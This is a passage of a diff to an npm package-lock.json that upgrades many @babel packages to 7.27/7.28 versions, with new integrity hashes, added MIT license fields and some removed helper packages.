+    "node_modules/@babel/helper-globals": {
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz",
+      "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==",
+      "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-member-expression-to-functions": {
-      "version": "7.23.0",
-      "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.23.0.tgz",
-      "integrity": "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.27.1.tgz",
+      "integrity": "sha512-E5chM8eWjTp/aNoVpcbfM7mLxu9XGLWYise2eBKGQomAk/Mb4XoxyqXTZbuTohbsl8EKqdlMhnDI2CCLfcs9wA==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/types": "^7.23.0"
+        "@babel/traverse": "^7.27.1",
+        "@babel/types": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-module-imports": {
-      "version": "7.22.15",
-      "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.22.15.tgz",
-      "integrity": "sha512-0pYVBnDKZO2fnSPCrgM/6WMc7eS20Fbok+0r88fp+YtWVLZrp4CkafFGIp+W0VKw4a22sgebPT99y+FDNMdP4w==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz",
+      "integrity": "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/types": "^7.22.15"
+        "@babel/traverse": "^7.27.1",
+        "@babel/types": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-module-transforms": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.23.3.tgz",
-      "integrity": "sha512-7bBs4ED9OmswdfDzpz4MpWgSrV7FXlc3zIagvLFjS5H+Mk7Snr21vQ6QwrsoCGMfNC4e4LQPdoULEt4ykz0SRQ==",
+      "version": "7.27.3",
+      "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.27.3.tgz",
+      "integrity": "sha512-dSOvYwvyLsWBeIRyOeHXp5vPj5l1I011r52FM1+r1jCERv+aFXYk4whgQccYEGYxK2H3ZAIA8nuPkQ0HaUo3qg==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-environment-visitor": "^7.22.20",
-        "@babel/helper-module-imports": "^7.22.15",
-        "@babel/helper-simple-access": "^7.22.5",
-        "@babel/helper-split-export-declaration": "^7.22.6",
-        "@babel/helper-validator-identifier": "^7.22.20"
+        "@babel/helper-module-imports": "^7.27.1",
+        "@babel/helper-validator-identifier": "^7.27.1",
+        "@babel/traverse": "^7.27.3"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -332,32 +308,35 @@
       }
     },
     "node_modules/@babel/helper-optimise-call-expression": {
-      "version": "7.22.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.22.5.tgz",
-      "integrity": "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.27.1.tgz",
+      "integrity": "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/types": "^7.22.5"
+        "@babel/types": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-plugin-utils": {
-      "version": "7.22.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.22.5.tgz",
-      "integrity": "sha512-uLls06UVKgFG9QD4OeFYLEGteMIAa5kpTPcFL28yuCIIzsf6ZyKZMllKVOCZFhiZ5ptnwX4mtKdWCBE/uT4amg==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.27.1.tgz",
+      "integrity": "sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0tlw==",
+      "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-remap-async-to-generator": {
-      "version": "7.22.20",
-      "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.22.20.tgz",
-      "integrity": "sha512-pBGyV4uBqOns+0UvhsTO8qgl8hO89PmiDYv+/COyp1aeMcmfrfruz+/nCMFiYyFF/Knn0yfrC85ZzNFjembFTw==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.27.1.tgz",
+      "integrity": "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-annotate-as-pure": "^7.22.5",
-        "@babel/helper-environment-visitor": "^7.22.20",
-        "@babel/helper-wrap-function": "^7.22.20"
+        "@babel/helper-annotate-as-pure": "^7.27.1",
+        "@babel/helper-wrap-function": "^7.27.1",
+        "@babel/traverse": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -367,13 +346,14 @@
       }
     },
     "node_modules/@babel/helper-replace-supers": {
-      "version": "7.22.20",
-      "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.22.20.tgz",
-      "integrity": "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.27.1.tgz",
+      "integrity": "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-environment-visitor": "^7.22.20",
-        "@babel/helper-member-expression-to-functions": "^7.22.15",
-        "@babel/helper-optimise-call-expression": "^7.22.5"
+        "@babel/helper-member-expression-to-functions": "^7.27.1",
+        "@babel/helper-optimise-call-expression": "^7.27.1",
+        "@babel/traverse": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -382,106 +362,81 @@
         "@babel/core": "^7.0.0"
       }
     },
-    "node_modules/@babel/helper-simple-access": {
-      "version": "7.22.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.22.5.tgz",
-      "integrity": "sha512-n0H99E/K+Bika3++WNL17POvo4rKWZ7lZEp1Q+fStVbUi8nxPQEBOlTmCOxW/0JsS56SKKQ+ojAe2pHKJHN35w==",
-      "dependencies": {
-        "@babel/types": "^7.22.5"
-      },
-      "engines": {
-        "node": ">=6.9.0"
-      }
-    },
     "node_modules/@babel/helper-skip-transparent-expression-wrappers": {
-      "version": "7.22.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.22.5.tgz",
-      "integrity": "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.27.1.tgz",
+      "integrity": "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/types": "^7.22.5"
-      },
-      "engines": {
-        "node": ">=6.9.0"
-      }
-    },
-    "node_modules/@babel/helper-split-export-declaration": {
-      "version": "7.22.6",
-      "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.22.6.tgz",
-      "integrity": "sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g==",
-      "dependencies": {
-        "@babel/types": "^7.22.5"
+        "@babel/traverse": "^7.27.1",
+        "@babel/types": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-string-parser": {
-      "version": "7.23.4",
-      "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.23.4.tgz",
-      "integrity": "sha512-803gmbQdqwdf4olxrX4AJyFBV/RTr3rSmOj0rKwesmzlfhYNDEs+/iOcznzpNWlJlIlTJC2QfPFcHB6DlzdVLQ==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz",
+      "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==",
+      "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-validator-identifier": {
-      "version": "7.22.20",
-      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.20.tgz",
-      "integrity": "sha512-Y4OZ+ytlatR8AI+8KZfKuL5urKp7qey08ha31L8b3BwewJAoJamTzyvxPR/5D+KkdJCGPq/+8TukHBlY10FX9A==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.27.1.tgz",
+      "integrity": "sha512-D2hP9eA+Sqx1kBZgzxZh0y1trbuU+JoDkiEwqhQ36nodYqJwyEIhPSdMNd7lOm/4io72luTPWH20Yda0xOuUow==",
+      "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-validator-option": {
-      "version": "7.23.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.23.5.tgz",
-      "integrity": "sha512-85ttAOMLsr53VgXkTbkx8oA6YTfT4q7/HzXSLEYmjcSTJPMPQtvq1BD79Byep5xMUYbGRzEpDsjUf3dyp54IKw==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz",
+      "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==",
+      "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-wrap-function": {
-      "version": "7.22.20",
-      "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.22.20.tgz",
-      "integrity": "sha512-pms/UwkOpnQe/PDAEdV/d7dVCoBbB+R4FvYoHGZz+4VPcg7RtYy2KP7S2lbuWM6FCSgob5wshfGESbC/hzNXZw==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.27.1.tgz",
+      "integrity": "sha512-NFJK2sHUvrjo8wAU/nQTWU890/zB2jj0qBcCbZbbf+005cAsv6tMjXz31fBign6M5ov1o0Bllu+9nbqkfsjjJQ==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-function-name": "^7.22.5",
-        "@babel/template": "^7.22.15",
-        "@babel/types": "^7.22.19"
+        "@babel/template": "^7.27.1",
+        "@babel/traverse": "^7.27.1",
+        "@babel/types": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helpers": {
-      "version": "7.23.9",
-      "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.23.9.tgz",
-      "integrity": "sha512-87ICKgU5t5SzOT7sBMfCOZQ2rHjRU+Pcb9BoILMYz600W6DkVRLFBPwQ18gwUVvggqXivaUakpnxWQGbpywbBQ==",
+      "version": "7.27.6",
+      "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.27.6.tgz",
+      "integrity": "sha512-muE8Tt8M22638HU31A3CgfSUciwz1fhATfoVai05aPXGor//CdWDCbnlY1yvBPo07njuVOCNGCSp/GTt12lIug==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/template": "^7.23.9",
-        "@babel/traverse": "^7.23.9",
-        "@babel/types": "^7.23.9"
-      },
-      "engines": {
-        "node": ">=6.9.0"
-      }
-    },
-    "node_modules/@babel/highlight": {
-      "version": "7.23.4",
-      "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.23.4.tgz",
-      "integrity": "sha512-acGdbYSfp2WheJoJm/EBBBLh/ID8KDc64ISZ9DYtBmC8/Q204PZJLHyzeB5qMzJ5trcOkybd78M4x2KWsUq++A==",
-      "dependencies": {
-        "@babel/helper-validator-identifier": "^7.22.20",
-        "chalk": "^2.4.2",
-        "js-tokens": "^4.0.0"
+        "@babel/template": "^7.27.2",
+        "@babel/types": "^7.27.6"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/parser": {
-      "version": "7.23.9",
-      "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.23.9.tgz",
-      "integrity": "sha512-9tcKgqKbs3xGJ+NtKF2ndOBBLVwPjl1SHxPQkd36r3Dlirw3xWUeGaTbqr7uGZcTaxkVNwc+03SVP7aCdWrTlA==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.0.tgz",
+      "integrity": "sha512-jVZGvOxOuNSsuQuLRTh13nU0AogFlw32w/MT+LV6D3sP5WdbW61E77RnkbaO2dUvmPAYrBDJXGn5gGS6tH4j8g==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/types": "^7.28.0"
+      },
       "bin": {
         "parser": "bin/babel-parser.js"
       },
@@ -489,12 +444,44 @@
         "node": ">=6.0.0"
       }
     },
-    "node_modules/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.23.3.tgz",
-      "integrity": "sha512-iRkKcCqb7iGnq9+3G6rZ+Ciz5VywC4XNRHe57lKM+jOeYAoR0lVqdeeDRfh0tQcTfw/+vBhHn926FmQhLtlFLQ==",
+    "node_modules/@babel/plugin-bugfix-firefox-class-in-computed-class-key": {
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-firefox-class-in-computed-class-key/-/plugin-bugfix-firefox-class-in-computed-class-key-7.27.1.tgz",
+      "integrity": "sha512-QPG3C9cCVRQLxAVwmefEmwdTanECuUBMQZ/ym5kiw3XKCGA7qkuQLcjWWHcrD/GKbn/WmJwaezfuuAOcyKlRPA==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1",
+        "@babel/traverse": "^7.27.1"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0"
+      }
+    },
+    "node_modules/@babel/plugin-bugfix-safari-class-field-initializer-scope": {
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-class-field-initializer-scope/-/plugin-bugfix-safari-class-field-initializer-scope-7.27.1.tgz",
+      "integrity": "sha512-qNeq3bCKnGgLkEXUuFry6dPlGfCdQNZbn7yUAPCInwAJHMU7THJfrBSozkcWq5sNM6RcF3S8XyQL2A52KNR9IA==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.27.1"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0"
+      }
+    },
+    "node_modules/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": {
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.27.1.tgz",
+      "integrity": "sha512-g4L7OYun04N1WyqMNjldFwlfPCLVkgB54A/YCXICZYBsvJJE3kByKv9c9+R/nAfmIfjl2rKYLNyMHboYbZaWaA==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -504,13 +491,14 @@
       }
     },
     "node_modules/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.23.3.tgz",
-      "integrity": "sha512-WwlxbfMNdVEpQjZmK5mhm7oSwD3dS6eU+Iwsi4Knl9wAletWem7kaRsGOG+8UEbRyqxY4SS5zvtfXwX+jMxUwQ==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.27.1.tgz",
+      "integrity": "sha512-oO02gcONcD5O1iTLi/6frMJBIwWEHceWGSGqrpCmEL8nogiS6J9PBlE48CaK20/Jx1LuRml9aDftLgdjXT8+Cw==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5",
-        "@babel/plugin-transform-optional-chaining": "^7.23.3"
+        "@babel/helper-plugin-utils": "^7.27.1",
+        "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1",
+        "@babel/plugin-transform-optional-chaining": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -520,12 +508,13 @@
       }
     },
     "node_modules/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": {
-      "version": "7.23.7",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly/-/plugin-bugfix-v8-static-class-fields-redefine-readonly-7.23.7.tgz",
-      "integrity": "sha512-LlRT7HgaifEpQA1ZgLVOIJZZFVPWN5iReq/7/JixwBtwcoeVGDBD53ZV28rrsLYOZs1Y/EHhA8N/Z6aazHR8cw==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly/-/plugin-bugfix-v8-static-class-fields-redefine-readonly-7.27.1.tgz",
+      "integrity": "sha512-6BpaYGDavZqkI6yT+KSPdpZFfpnd68UKXbcjI9pJ13pvHhPrCKWOOLp+ysvMeA+DxnhuPpgIaRpxRxo5A9t5jw==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-environment-visitor": "^7.22.20",
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1",
+        "@babel/traverse": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -539,6 +528,7 @@
       "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz",
       "integrity": "sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==",
       "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-class-properties instead.",
+      "license": "MIT",
       "dependencies": {
         "@babel/helper-create-class-features-plugin": "^7.18.6",
         "@babel/helper-plugin-utils": "^7.18.6"
@@ -551,13 +541,14 @@
       }
     },
     "node_modules/@babel/plugin-proposal-decorators": {
-      "version": "7.23.9",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-decorators/-/plugin-proposal-decorators-7.23.9.tgz",
-      "integrity": "sha512-hJhBCb0+NnTWybvWq2WpbCYDOcflSbx0t+BYP65e5R9GVnukiDTi+on5bFkk4p7QGuv190H6KfNiV9Knf/3cZA==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-decorators/-/plugin-proposal-decorators-7.28.0.tgz",
+      "integrity": "sha512-zOiZqvANjWDUaUS9xMxbMcK/Zccztbe/6ikvUXaG9nsPH3w6qh5UaPGAnirI/WhIbZ8m3OHU0ReyPrknG+ZKeg==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-create-class-features-plugin": "^7.23.9",
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/plugin-syntax-decorators": "^7.23.3"
+        "@babel/helper-create-class-features-plugin": "^7.27.1",
+        "@babel/helper-plugin-utils": "^7.27.1",
+        "@babel/plugin-syntax-decorators": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -571,6 +562,7 @@
       "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.18.6.tgz",
       "integrity": "sha512-wQxQzxYeJqHcfppzBDnm1yAY0jSRkUXR2z8RePZYrKwMKgMlE8+Z6LUno+bd6LvbGh8Gltvy74+9pIYkr+XkKA==",
       "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-nullish-coalescing-operator instead.",
+      "license": "MIT",
       "dependencies": {
         "@babel/helper-plugin-utils": "^7.18.6",
         "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3"
@@ -587,6 +579,7 @@
       "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.18.6.tgz",
       "integrity": "sha512-ozlZFogPqoLm8WBr5Z8UckIoE4YQ5KESVcNudyXOR8uqIkliTEgJ3RoketfG6pmzLdeZF0H/wjE9/cCEitBl7Q==",
       "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-numeric-separator instead.",
+      "license": "MIT",
       "dependencies": {
         "@babel/helper-plugin-utils": "^7.18.6",
         "@babel/plugin-syntax-numeric-separator": "^7.10.4"
@@ -603,6 +596,7 @@
       "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.21.0.tgz",
       "integrity": "sha512-p4zeefM72gpmEe2fkUr/OnOXpWEf8nAgk7ZYVqqfFiyIG7oFfVZcCrU64hWn5xp4tQ9LkV4bTIa5rD0KANpKNA==",
       "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-optional-chaining instead.",
+      "license": "MIT",
       "dependencies": {
         "@babel/helper-plugin-utils": "^7.20.2",
         "@babel/helper-skip-transparent-expression-wrappers": "^7.20.0",
@@ -620,6 +614,7 @@
       "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.18.6.tgz",
       "integrity": "sha512-nutsvktDItsNn4rpGItSNV2sz1XwS+nfU0Rg8aCx3W3NOKVzdMjJRu0O5OkgDp3ZGICSTbgRpxZoWsxoKRvbeA==",
       "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-private-methods instead.",
+      "license": "MIT",
       "dependencies": {
         "@babel/helper-create-class-features-plugin": "^7.18.6",
         "@babel/helper-plugin-utils": "^7.18.6"
@@ -636,7 +631,7 @@
       "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.11.tgz",
       "integrity": "sha512-0QZ8qP/3RLDVBwBFoWAwCtgcDZJVwA5LUJRZU8x2YFfKNuFq161wK3cuGrALu5yiPu+vzwTAg/sMWVNeWeNyaw==",
       "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-private-property-in-object instead.",
-      "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@babel/helper-annotate-as-pure": "^7.18.6",
         "@babel/helper-create-class-features-plugin": "^7.21.0",
@@ -654,6 +649,7 @@
       "version": "7.8.4",
       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz",
       "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==",
+      "license": "MIT",
       "dependencies": {
         "@babel/helper-plugin-utils": "^7.8.0"
       },
@@ -665,6 +661,7 @@
       "version": "7.8.3",
       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz",
       "integrity": "sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3Npg==",
+      "license": "MIT",
       "dependencies": {
         "@babel/helper-plugin-utils": "^7.8.0"
       },
@@ -676,6 +673,7 @@
       "version": "7.12.13",
       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz",
       "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==",
+      "license": "MIT",
       "dependencies": {
         "@babel/helper-plugin-utils": "^7.12.13"
       },
@@ -687,6 +685,7 @@
       "version": "7.14.5",
       "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz",
       "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==",
+      "license": "MIT",
       "dependencies": {
         "@babel/helper-plugin-utils": "^7.14.5"
       },
@@ -698,11 +697,12 @@
       }
     },
     "node_modules/@babel/plugin-syntax-decorators": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-decorators/-/plugin-syntax-decorators-7.23.3.tgz",
-      "integrity": "sha512-cf7Niq4/+/juY67E0PbgH0TDhLQ5J7zS8C/Q5FFx+DWyrRa9sUQdTXkjqKu8zGvuqr7vw1muKiukseihU+PJDA==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-decorators/-/plugin-syntax-decorators-7.27.1.tgz",
+      "integrity": "sha512-YMq8Z87Lhl8EGkmb0MwYkt36QnxC+fzCgrl66ereamPlYToRpIk5nUjKUY3QKLWq8mwUB1BgbeXcTJhZOCDg5A==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -711,34 +711,13 @@
         "@babel/core": "^7.0.0-0"
       }
     },
-    "node_modules/@babel/plugin-syntax-dynamic-import": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz",
-      "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==",
-      "dependencies": {
-        "@babel/helper-plugin-utils": "^7.8.0"
-      },
-      "peerDependencies": {
-        "@babel/core": "^7.0.0-0"
-      }
-    },
-    "node_modules/@babel/plugin-syntax-export-namespace-from": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz",
-      "integrity": "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==",
-      "dependencies": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      },
-      "peerDependencies": {
-        "@babel/core": "^7.0.0-0"
-      }
-    },
     "node_modules/@babel/plugin-syntax-flow": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-flow/-/plugin-syntax-flow-7.23.3.tgz",
-      "integrity": "sha512-YZiAIpkJAwQXBJLIQbRFayR5c+gJ35Vcz3bg954k7cd73zqjvhacJuL9RbrzPz8qPmZdgqP6EUKwy0PCNhaaPA==",
